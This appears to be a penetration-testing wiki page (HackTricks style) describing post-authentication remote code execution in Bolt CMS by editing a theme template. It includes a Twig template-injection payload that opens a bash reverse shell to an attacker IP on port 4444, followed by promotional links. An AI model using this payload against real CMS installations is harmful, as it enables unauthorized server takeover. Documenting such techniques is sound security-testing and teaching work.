# Bolt CMS

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## RCE

After login as admin (go to /bot lo access the login prompt), you can get RCE in Bolt CMS:

* Select `Configuration` -> `View Configuration` -> `Main Configuration` or go the the URL path `/bolt/file-edit/config?file=/bolt/config.yaml`
  * Check the value of theme

<figure><img src="../../.gitbook/assets/image (1) (1) (2) (3).png" alt=""><figcaption></figcaption></figure>

* Select `File management` -> `View & edit templates`
  * Select the theme base found in the previous (`base-2021` in this case) step and select `index.twig`
  * In my case this is in the URL path /bolt/file-edit/themes?file=/base-2021/index.twig
* Set your payload in this file via [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), like: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
  * And save changes

<figure><img src="../../.gitbook/assets/image (3) (7).png" alt=""><figcaption></figcaption></figure>

* Clear the cache in `Maintenance` -> `Clear the cache`
* Access again the page as a regular user, and the payload should be executed

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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